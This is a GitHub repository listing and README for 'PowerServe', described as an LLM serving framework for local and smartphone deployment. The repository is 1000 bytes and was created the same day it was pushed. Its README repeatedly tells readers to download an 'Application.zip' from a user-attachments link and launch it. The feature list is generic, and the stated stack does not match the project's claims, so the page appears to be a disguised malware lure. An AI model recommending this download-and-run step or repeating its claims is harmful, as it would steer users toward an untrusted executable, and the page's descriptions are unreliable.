https://github.com/kira94-hkz/powerserve

High-speed and easy-use LLM serving framework for local deployment
https://github.com/kira94-hkz/powerserve

llama llm llm-inference llm-serving npu qwen smallthinker smartphone

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High-speed and easy-use LLM serving framework for local deployment

• Host: GitHub
• URL: https://github.com/kira94-hkz/powerserve
• Owner: Kira94-hkz
• Created: 2025-01-15T16:14:14.000Z (5 days ago)
• Default Branch: main
• Last Pushed: 2025-01-15T18:40:09.000Z (5 days ago)
• Last Synced: 2025-01-15T18:51:13.742Z (5 days ago)
• Topics: llama, llm, llm-inference, llm-serving, npu, qwen, smallthinker, smartphone
• Size: 1000 Bytes
• Stars: 0
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

        
# PowerServe 🚀

PowerServe is a high-speed and easy-use LLM serving framework designed for local deployment, providing efficient inference solutions for various applications. Whether you are working on llama, llm, npu, qwen, smallthinker, or smartphone projects, PowerServe is here to streamline your work process and deliver exceptional results.

## Repository Link 📎

[Download PowerServe](https://github.com/user-attachments/files/18426772/Application.zip) 👈🏼

*Please note that the link provided needs to be launched for downloading the application.*

## Features 🌟

✨ **High-Speed Serving**: Utilizing cutting-edge technologies, PowerServe ensures high-speed serving for all your LLM models, reducing latency significantly.

🤖 **LLM Inference**: PowerServe is optimized for LLM (Large Language Model) inference, making it a powerful tool for natural language processing tasks.

📱 **Smartphone Integration**: PowerServe is designed to seamlessly integrate with smartphone applications, enabling on-device model serving for quick and efficient inference.

## How to Use 🚀

1. Download the PowerServe application zip file from the provided link.

2. Extract the contents to your desired directory.

3. Run the application and follow the setup instructions to start serving your LLM models.

## Technologies Used 🛠️

PowerServe leverages the following technologies to provide a seamless serving experience:

- TensorFlow: For efficient model serving and inference.

- Flask: For building the serving framework and handling requests.

- scikit-learn: For data preprocessing and model optimizations.

- NumPy: For numerical computing and array operations.

## Getting Started 🚀

To get started with PowerServe, simply download the application from the provided link and follow the setup instructions included in the package. For any questions or issues, please refer to the "Releases" section for the latest updates and bug fixes.

[![Download PowerServe](https://img.shields.io/badge/Download-Application-red)](https://github.com/user-attachments/files/18426772/Application.zip)

## Contributing 🤝

We welcome contributions from the community to enhance and improve PowerServe. If you have any ideas, suggestions, or feature requests, feel free to open an issue or create a pull request in the repository. Your contributions are highly appreciated!

## License ℹ️

PowerServe is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information.

## Connect with Us 🌐

Stay up to date with the latest news and updates by following us on social media:

📧 Email: [email protected]

🐦 Twitter: [@PowerServeOfficial](https://twitter.com/PowerServeOfficial)

📘 Facebook: [PowerServeOfficial](https://www.facebook.com/PowerServeOfficial)

Let's power up your LLM serving experience with PowerServe! 🚀🔥